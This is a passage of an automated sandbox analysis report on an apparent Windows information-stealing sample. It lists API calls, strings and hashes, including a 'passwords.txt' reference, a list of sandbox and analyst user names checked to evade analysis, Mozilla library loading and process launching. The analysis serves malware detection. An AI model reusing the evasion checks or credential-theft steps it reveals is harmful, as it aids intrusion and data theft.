passwords.txt, xrefs: 0040AB89
pe, xrefs: 0040A931

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$lstrcpy$K11_lstrlen$HeapPointerSlot$AllocAuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalProcessReadShutdownSizeString_memmove_memset
String ID: passwords.txt$pe
API String ID: 2725232238-1761351166
Opcode ID: c3b03bc110983ebba0d3e17813285de3cea0876e63eb9e5f639305f650917e52
Instruction ID: bb405c3fe6dab9745a420b7b9db131a8dd9277349837b244c12cedf8ee63860a
Opcode Fuzzy Hash: c3b03bc110983ebba0d3e17813285de3cea0876e63eb9e5f639305f650917e52
Instruction Fuzzy Hash: 1A71A331500215ABCF15EFA1ED4DDDE3BBAEF4830AF101015F901A31A1EB7A5A55CBA6

Function 6C104470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C104730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C1044B2,6C17E21C,6C17F7F8), ref: 6C10473E
Part of subcall function 6C104730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C10474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C1044BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C1044D2
InitOnceExecuteOnce.KERNEL32(6C17F80C,6C0FF240,?,?), ref: 6C10451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C10455C
LoadLibraryW.KERNEL32(?), ref: 6C104592
InitializeCriticalSection.KERNEL32(6C17F770), ref: 6C1045A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C1045AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C1045BB
InitOnceExecuteOnce.KERNEL32(6C17F818,6C0FF240,?,?), ref: 6C104612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C104636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C104644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C10466D
VerSetConditionMask.NTDLL ref: 6C10469F
VerSetConditionMask.NTDLL ref: 6C1046AB
VerSetConditionMask.NTDLL ref: 6C1046B2
VerSetConditionMask.NTDLL ref: 6C1046B9
VerSetConditionMask.NTDLL ref: 6C1046C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C1046CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C1046F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C1046FD

Strings

WRusr.dll, xrefs: 6C1044B5
user32.dll, xrefs: 6C104557, 6C10463F
kernel32.dll, xrefs: 6C1044CD
NativeNtBlockSet_Write, xrefs: 6C1046F7
l, xrefs: 6C104578

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: c4e3d83e6079fe5616fd012e4258d0a50c1a9ed2dce845325b94f6b71ed5b20c
Instruction ID: 933da6e0dca2fa8034161a90f3a0501778718bca7f77757c54fa25570368e76a
Opcode Fuzzy Hash: c4e3d83e6079fe5616fd012e4258d0a50c1a9ed2dce845325b94f6b71ed5b20c
Instruction Fuzzy Hash: 0C6105B0704354AFEB229F61CC49B967BF8EF5630CF048558E9149B641DB748A85CFB1

Function 00424C67 Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 00424C6F
__mtterm.LIBCMT ref: 00424C7B

Part of subcall function 0042493A: DecodePointer.KERNEL32(FFFFFFFF), ref: 0042494B
Part of subcall function 0042493A: TlsFree.KERNEL32(FFFFFFFF), ref: 00424965

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00424C91
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00424C9E
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00424CAB
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00424CB8
TlsAlloc.KERNEL32 ref: 00424D08
TlsSetValue.KERNEL32(00000000), ref: 00424D23
__init_pointers.LIBCMT ref: 00424D2D
EncodePointer.KERNEL32 ref: 00424D3E
EncodePointer.KERNEL32 ref: 00424D4B
EncodePointer.KERNEL32 ref: 00424D58
EncodePointer.KERNEL32 ref: 00424D65
DecodePointer.KERNEL32(Function_00024ABE), ref: 00424D86
__calloc_crt.LIBCMT ref: 00424D9B
DecodePointer.KERNEL32(00000000), ref: 00424DB5
__initptd.LIBCMT ref: 00424DC0
GetCurrentThreadId.KERNEL32 ref: 00424DC7

Strings

FlsGetValue, xrefs: 00424C93
KERNEL32.DLL, xrefs: 00424C6A
FlsFree, xrefs: 00424CAD
FlsAlloc, xrefs: 00424C8B
FlsSetValue, xrefs: 00424CA0

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3732613303-3819984048
Opcode ID: 400231f4d2ee880fb5ad432affc68df8e9701e5f7ec856bf935dccaa11612c1c
Instruction ID: 3bd1ea3895adf88180abbae7faa1e32913a11928da230e34625fa4b8b7d5b65a
Opcode Fuzzy Hash: 400231f4d2ee880fb5ad432affc68df8e9701e5f7ec856bf935dccaa11612c1c
Instruction Fuzzy Hash: CD313875E413609ACB23AF7ABC0861A3BA4EF85726B51063BE414D32B1DBB9C440CF4D

Function 00401927 Relevance: 36.8, APIs: 2, Strings: 19, Instructions: 56stringCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00401A13
lstrcmpiA.KERNEL32(0043AC78,?), ref: 00401A2E

Strings

Sand box, xrefs: 00401955
maltest, xrefs: 004019D7
sandbox, xrefs: 004019C3
CurrentUser, xrefs: 0040194B
WDAGUtilityAccount, xrefs: 004019FF
milozs, xrefs: 0040199B
Miller, xrefs: 00401991
virus, xrefs: 004019EB
Hong Lee, xrefs: 00401973
Peter Wilson, xrefs: 004019A5
test user, xrefs: 004019E1
IT-ADMIN, xrefs: 0040197D
malware, xrefs: 004019CD
user, xrefs: 004019B9
HAPUBWS, xrefs: 00401969
John Doe, xrefs: 004019F5
Johnson, xrefs: 00401987
timmy, xrefs: 004019AF
Emily, xrefs: 0040195F

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: NameUserlstrcmpi
String ID: CurrentUser$Emily$HAPUBWS$Hong Lee$IT-ADMIN$John Doe$Johnson$Miller$Peter Wilson$Sand box$WDAGUtilityAccount$maltest$malware$milozs$sandbox$test user$timmy$user$virus
API String ID: 542268695-1784693376
Opcode ID: 06d8bcf75f44e348f7391a26ab0621eb9969fb8c540d62bf044f5c6cf749d53e
Instruction ID: b8b9c5dd0dff2f2b5d08f6bbf6786529be4e75c42c723ae675bff00fbe205e3e
Opcode Fuzzy Hash: 06d8bcf75f44e348f7391a26ab0621eb9969fb8c540d62bf044f5c6cf749d53e
Instruction Fuzzy Hash: 9721D4B194122C9BCB60CF159C486DDB7B4BB49309F40B1DAD5897B210C7B84AD9CF99

Function 0041260C Relevance: 33.5, APIs: 16, Strings: 3, Instructions: 204stringprocesssynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

_memset.LIBCMT ref: 004127B1
lstrcatA.KERNEL32(?,?,?,?,?), ref: 004127C3
lstrcatA.KERNEL32(?,00436698), ref: 004127D5
lstrcatA.KERNEL32(?,12d962a0b4176a0c19c4e61c53bd20b5), ref: 004127E7
lstrcatA.KERNEL32(?,0043669C), ref: 004127F9
lstrcatA.KERNEL32(?,?), ref: 00412809
lstrcatA.KERNEL32(?,004366A0), ref: 0041281B
lstrlenA.KERNEL32(?), ref: 00412824
lstrcatA.KERNEL32(?,EMPTY), ref: 00412840
lstrcatA.KERNEL32(?,004366AC), ref: 00412852
lstrcatA.KERNEL32(?,?), ref: 00412862
lstrcatA.KERNEL32(?,004366B0), ref: 00412874
lstrlenA.KERNEL32(?), ref: 00412881
_memset.LIBCMT ref: 004128B7

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00412446: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00414A8D), ref: 00412460

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000020,00000000,00000000,?,?,004366B4,?), ref: 00412924
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00412932

Strings

.exe, xrefs: 0041264F
12d962a0b4176a0c19c4e61c53bd20b5, xrefs: 004127DB
EMPTY, xrefs: 0041283A

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$Create_memset$FileObjectProcessSingleSystemTimeWait
String ID: .exe$12d962a0b4176a0c19c4e61c53bd20b5$EMPTY
API String ID: 141474312-2238012697
Opcode ID: 20835fbc45a8d8a644cb249f977d3d46bea313d0cec8fa9b25ccb71e238043a7
Instruction ID: 6746e5830baf5f5a63b52b887540b63d9ca5c37cacf765e4133765e88c3a0580
Opcode Fuzzy Hash: 20835fbc45a8d8a644cb249f977d3d46bea313d0cec8fa9b25ccb71e238043a7
Instruction Fuzzy Hash: 45813FB1E5012DABCF11EF61DD46ACD7379AB04309F4054BAB608B3051D679AF898F58

Function 0041B9BA Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,74DE83C0,00000000,0041C6A5,?), ref: 0041B9BF
StrCmpCA.SHLWAPI(74DE83C0,0043613C), ref: 0041B9ED
StrCmpCA.SHLWAPI(74DE83C0,.zip), ref: 0041B9FD
StrCmpCA.SHLWAPI(74DE83C0,.zoo), ref: 0041BA09
StrCmpCA.SHLWAPI(74DE83C0,.arc), ref: 0041BA15
StrCmpCA.SHLWAPI(74DE83C0,.lzh), ref: 0041BA21
StrCmpCA.SHLWAPI(74DE83C0,.arj), ref: 0041BA2D
StrCmpCA.SHLWAPI(74DE83C0,.gz), ref: 0041BA39
StrCmpCA.SHLWAPI(74DE83C0,.tgz), ref: 0041BA45

Strings

.zip, xrefs: 0041B9F7
.arj, xrefs: 0041BA27
.zoo, xrefs: 0041BA03
.arc, xrefs: 0041BA0F
.tgz, xrefs: 0041BA3F
.gz, xrefs: 0041BA33
.lzh, xrefs: 0041BA1B

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 54ae333f8b5274885e17379ca82bd682d21753aa1aef1686f1ee84574de7c63d
Instruction ID: 7a45d3996b05b39701ef314336ae52375450dcb3a07e9cf3ae28b7fa575695ef
Opcode Fuzzy Hash: 54ae333f8b5274885e17379ca82bd682d21753aa1aef1686f1ee84574de7c63d
Instruction Fuzzy Hash: 0701B5B2795367B09A221232EC41FFF1D5CDD86F90B15112BE900A2188DB5C99C355FD

Function 004139C2 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127stringCOMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(?,block,?,?,0041788E), ref: 004139D7
ExitProcess.KERNEL32 ref: 004139E2
strtok_s.MSVCRT ref: 004139F3

Strings

block, xrefs: 004139CB

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExitProcessstrtok_s
String ID: block
API String ID: 3407564107-2199623458
Opcode ID: ad2819f8da81c7b08e1e457f54156af532c3a4692a0bc0de58dd00cdfb3c9ab4
Instruction ID: 9e2abf34b02cddae1b0fa04c6dc88f1d30775994422634f8dc56bb1647053282
Opcode Fuzzy Hash: ad2819f8da81c7b08e1e457f54156af532c3a4692a0bc0de58dd00cdfb3c9ab4
Instruction Fuzzy Hash: 7B414F70A48306BBEB44DF60DC49E9A7B6CFB1870BB206166E402D2151FB39B781DB58

Function 6C109590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C0F31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C0F3217
Part of subcall function 6C0F31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C0F3236
Part of subcall function 6C0F31C0: FreeLibrary.KERNEL32 ref: 6C0F324B
Part of subcall function 6C0F31C0: __Init_thread_footer.LIBCMT ref: 6C0F3260
Part of subcall function 6C0F31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C0F327F
Part of subcall function 6C0F31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C0F328E
Part of subcall function 6C0F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C0F32AB
Part of subcall function 6C0F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C0F32D1
Part of subcall function 6C0F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C0F32E5
Part of subcall function 6C0F31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C0F32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C109675
__Init_thread_footer.LIBCMT ref: 6C109697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C1096E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C109707
__Init_thread_footer.LIBCMT ref: 6C10971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C109773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C1097B7
FreeLibrary.KERNEL32 ref: 6C1097D0
FreeLibrary.KERNEL32 ref: 6C1097EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C109824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C109670
ntdll.dll, xrefs: 6C1096E3
MapViewOfFileNuma2, xrefs: 6C1097B1
NtMapViewOfSection, xrefs: 6C109701

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 3bc7fdbaca5c1ddc6b379bbe68724b244bea2dc2af528e2d15eb88a27e9ed3a1
Instruction ID: b6dadfa09812fbdfad4b8df232acdfb373b8893731a3494b6edc1a144994c097
Opcode Fuzzy Hash: 3bc7fdbaca5c1ddc6b379bbe68724b244bea2dc2af528e2d15eb88a27e9ed3a1
Instruction Fuzzy Hash: 2D61E4757002159FDF01CF68D8A8B9B7BB5FB8A319F108519E92583780DB349894DFB1

Function 6C14D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C14D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C14D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C14D52A
GetCurrentThreadId.KERNEL32 ref: 6C14D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C14D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C14D55F
free.MOZGLUE(00000000), ref: 6C14D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C14D5D3
GetCurrentThreadId.KERNEL32 ref: 6C14D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C14D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C14D652
GetCurrentThreadId.KERNEL32 ref: 6C14D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C14D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C14D6A2

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: cf595e0ae0317d105356a39615e427422f13f0da9acce82909d7f66d501ac1e9
Instruction ID: 715ad481909c5b98cddb017d0e9dbfc33344fe99c916f0a69d902e9c6f833ec4
Opcode Fuzzy Hash: cf595e0ae0317d105356a39615e427422f13f0da9acce82909d7f66d501ac1e9
Instruction Fuzzy Hash: 03515A75A04705DFCB04DF24C488A9ABBB4FF89318F10862EE85A87711DB34A945CBA1

Function 6C13EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C139420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C104A68), ref: 6C13945E
Part of subcall function 6C139420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C139470
Part of subcall function 6C139420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C139482
Part of subcall function 6C139420: __Init_thread_footer.LIBCMT ref: 6C13949F

GetCurrentThreadId.KERNEL32 ref: 6C13EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C13EC8C

Part of subcall function 6C1394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C1394EE
Part of subcall function 6C1394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C139508

GetCurrentThreadId.KERNEL32 ref: 6C13ECA1
AcquireSRWLockExclusive.KERNEL32(6C17F4B8), ref: 6C13ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C13ECC5
ReleaseSRWLockExclusive.KERNEL32(6C17F4B8), ref: 6C13ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C13ED19
CloseHandle.KERNEL32(?), ref: 6C13ED28
free.MOZGLUE(00000000), ref: 6C13ED2F
ReleaseSRWLockExclusive.KERNEL32(6C17F4B8), ref: 6C13ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C13EC94

Memory Dump Source

Source File: 00000003.00000002.2252137542.000000006C0F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C0F0000, based on PE: true

Associated: 00000003.00000002.2252119719.000000006C0F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2252893146.000000006C16D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253065228.000000006C17E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2253109506.000000006C182000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c0f0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 326c4636e9f8d826f6e506aa3fb694ca4f7c2a2a63da1ac4e77b4606823c5ed7
Instruction ID: e2f4686e2710be8ff6c19b5284660226ad4adf3618343d2e2122b6d24f636db4
Opcode Fuzzy Hash: 326c4636e9f8d826f6e506aa3fb694ca4f7c2a2a63da1ac4e77b4606823c5ed7
Instruction Fuzzy Hash: 8621E275600238ABDB029F24D808B9B7B79FF8626CF104210FD2D97781DB359D259BB1

Function 0041580D Relevance: 18.2, APIs: 12, Instructions: 188stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415845
_memset.LIBCMT ref: 00415856

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 00415881
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 0041589F
